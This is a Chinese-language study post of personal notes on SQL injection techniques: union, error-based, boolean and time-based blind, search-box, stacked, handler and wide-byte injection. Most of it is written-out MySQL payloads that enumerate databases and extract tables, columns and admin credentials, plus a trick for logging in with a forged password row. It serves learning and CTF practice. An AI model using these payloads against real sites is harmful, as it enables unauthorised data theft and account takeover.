sql注入,owasp 10之前的top1,只要一个注入点就能把别人底裤都扒出来,这么厉害的漏洞,为啥我总是搞不懂捏
算了,搞不懂也要搞,先从基础搞起
sql注入的原理简单来说就是服务端没有对客户端的输入过滤,该输入通过前端的注入点入侵到别人的数据库中,听起来是ez game.
SQL注入两个条件
对用户端输入过滤不严格
可以带入数据库查询
但是首先要找到注入点,简单来说可以试试用各种工具扫一扫,比如goby,awvs啥的,一般来说应该扫不出来,然后就要自己眼看了。
首先看url连接里有没有能注入参数的地方,比如xxx./?id=1类的,id=1就是个参数值,通过改变这个1的值,比如+1-1,看看页面是否变化,如果变化,就说明这个参数会带入数据库中查询,我们就可以试试了
还有一个方法是1=1 1=2方法,在链接中,如
/xxx?id=qq and 1=1/xxx.?id=qq and 1=2
第一个正常页面,第二个会显示报错
You have an error in your SQL syntax; check the manual that corresponds to your MySQL
上面类似的,这就显示有注入点了
一般来说’都会被过滤,所以没啥大用处
对了,SQL注入点一般存在于登录页面、查找页面或添加页面等用户可以查找或修改数据的地方
当我们找到注入点的时候,就是看各种过滤的时候了,不同的过滤会带来不同的注入方法
联合注入
union select,我理解为通过网页前端显示的信息当做跳板,将网页前端不显示的信息回显出来,不经过多次测试,获得想要的信息
1.联合注入需要先查出来是什么类型
判断是字符型还是数字型,字型不需要符号包裹,而字符型需要符号包裹
数字型:select * from table where id =$id
字符型:select * from table where id='$id'
判断类型一般可以使用 and 型结合永真式和永假式,判断数字型:
1 and 1=1 #永真式 select * from table where id=1 and 1=1
1 and 1=2 #永假式 select * from table where id=1 and 1=2
#若永假式运行错误,则说明此SQL注入为数字型注入
判断字符型:
1' and '1'='1
1' and '1'='2
#若永假式运行错误,则说明此SQL注入为字符型注入
2.查看字段个数
接下来需要用order by 查看字段个数
order by +数字
比如order by 3没报错,order by 4报错,说明只有3个字段,就是根据字段来构造联合注入语句进行注入
3.查看显示位
显示位就是网页中显示数据的位置
我们需要从字段中找到显示位,通过找到的显示位,把我们想要爆出来的值放到显示位上,来获取,具体方法为:
将union select 1,2,3中的1改为-1,查询一个不存在的值,可以将第一句空出,显示第二句,如果2,3号字段在前端显示,那2,3即为显示位
4.爆库名
具体构造(根据实际情况更改)
union select 1,database()(爆当前所在数据库的名)
group_concat(schema_name) from information_schema.schemata(爆全部库名)
5.报表
union select 1,2,group_concat(column_name) from information_schema.columns where table_schema=database() and table_name=’ 库名’
6.报列
union select 1,2,group_concat(column_name) from 表名
7.报信息
union select 1,2,group_concat(concat_ws(列名)) from 表名’
一般到这联合注入就能爆出了,但是里面一般能过滤不少东西
tips:在联合查询并不存在的数据时,联合查询就会构造一个 虚拟的数据,举个例(https://www.cnblogs.com/sfsec/p/15215102.html)
在这个题解中,需要admin的密码,但是我们不知道,因此我们通过联合查询构造一个虚拟数据,构造一个虚拟的密码,然后在密码框中输入虚拟密码,就可以进入了
报错注入
核心是函数,本质是使用一些特殊函数制造报错,将报错信息改成我们想要的内容,前提:
前端能够显示报错信息,通过之前的联合注入找不到显示位
报错注入不走步骤,走函数,分为不同函数
updatexml()函数和extractvalue()函数
大同小异的两个函数,通过xpath路径报错,原理:xpath不符合语法时,该语句会报错
XPATH syntax error :(注入信息)
可以将查询信息放入xpath中,通过报错回显出来
具体构造:
报库
1’or(updatexml(1,concat(0x7e,database(),0x7e),1))#
报表
1’or(updatexml(1,concat(0x7e,(select(table_name)from(information_schema.tables)where(table_schema)like(‘库名’)),0x7e),1))#
列名
1’or(updatexml(1,concat(0x7e,(select(column_name)from(information_schema.columns)where(table_name)like(‘表名’)),0x7e),1))#
字段
1’or(updatexml(1,concat(0x7e,(select(group_concat(列名,需要报的列名))from(表名),0x7e),1))#
饿,剩下的慢慢补充
盲注
当sql注入无回显的时候进行的注入方式,
布尔盲注
判断注入,以返回的判断为参照物,来猜测ASCII码,举个例子(https://www.cnblogs.com/zane-s/articles/12371820.html)
猜解获取数据库长度
‘ or length(database()) > 8 –+ :符合条件返回正确,反之返回错误 1
猜解数据库名
猜解表的总数
‘or (select count(TABLE_NAME) from information_schema.TABLES where TABLE_SCHEMA=database()) = 2 –+ :判断表的总数 1
猜解第一个表名的长度
猜解第一个表名
‘or mid((select TABLE_NAME from information_schema.TABLES where TABLE_SCHEMA = database() limit 0,1 ),1,1) = ‘a‘ –+ 或者 ‘Or ORD(mid(select TABLE_NAME from information_schema.TABLES where TABLE_SCHEMA = database() limit 0,1),1,1)) >100 –+ 1234
猜解表的字段的总数
‘or (select count(column_name) from information_schema.COLUMNS where TABLE_NAME=‘表名’) > 5 –+ 1
猜解第一个字段的长度
猜解第一个字段名
‘or mid((select COLUMN_NAME from information_schema.COLUMNS where TABLE_NAME = ‘表名‘ limit 0,1),1,1) = ‘i‘ –+ 或者 ‘or ORD(mid((select COLUMN_NAME from information_schema.COLUMNS where TABLE_NAME = ‘表名’ limit 0,1),1,1)) > 100 –+ 123
猜解直接猜测字段名
‘ or (select COLUMN_NAME from information_schema.COLUMNS where TABLE_NAME=‘表名’ limit 1,1) = ‘username’ –+ 1
猜解内容长度
猜解内容
‘or mid((select concat(username,“—–“,password) from admin limit 0,1),1,1) = ‘a’ –+ 或者 ‘or ORD(mid((select concat(username,“—–“,password) from admin limit 0,1),1,1)) > 100 –+ ASCII码猜解 123
时间盲注
以时间为参照物,看返回的时间差别为参照物,举个例子
猜库长
‘ and sleep(if((select count(SCHEMA_NAME) from information_schema.SCHEMATA)= 7,0,5))
‘ and sleep(if((length(database()) = 8),0,5))–+ //当前数据库名长度为8
盲注的话还是推荐用工具或者脚本。毕竟这几个手注的话还是过于繁琐了,基本上是猜出来的
搜索型注入/文本框注入
原理是因为在搜索功能中,对搜索的变量没有进行过滤,可以传入特殊值,举个例子,不对,直接判断吧
搜索keywords’时,如果出现报错,很大概率有漏洞
搜索keywords%时,如果同样出现报错,基本上了
搜索keywords%’ and 1=1 and ‘%’=’
搜索keywords%’ and 1=2 and ‘%’=’
基本上根据返回的情况就能判断了
当你判断出来后,请返回前面的内容,联合注入,报错注入,总有一个适合你,是的,这个注入需要前面的注入方式,只是判断的方式不同
xx型注入
xx指的是变量=(‘xx’),本质上还是没有过滤,可以输入一些恶意语句攻击sql数据库,与其他不同的是参数是a’) 后跟构造的语句,其他和之前一样
堆叠注入
将多条语句堆叠在一起进行查询,可以执行多条sql语句,用;分开
局限:PHP为了防止sql注入机制,往往使用调用数据库的函数是mysqli_ query()函数,其只能执行一条语句,分号后面的内容将不会被执行
注入方式很简单,三步走
0′; show databases; #
0′; show tables; #
1′; show columns from 表;#
tips:当过滤了大量东西的时候,可以使用handler语句
(https://blog.csdn.net/jesseyoung/article/details/40785137)解析
handler 表 open;handler 表 read first;handler 表 close;#
宽字节注入
当sql语句过滤了太多字符时,如 ’ 转义成 /’ 或者 ” 转义成 /”
就可以通过宽字节绕过转义字符
原理:一个汉字对应两个字节
%df’:会被addslashes函数转义为”%df’,”
%df’会转义为%df%5c%27
如果网站字符集是GBK,mysql也是,就会认为这个是宽字节
%df%5c会结合为一个汉字,后面%27成为’,攻击成立
判断注入:
a=1%d5′ #报错
a=1%d5′ –+ #未报错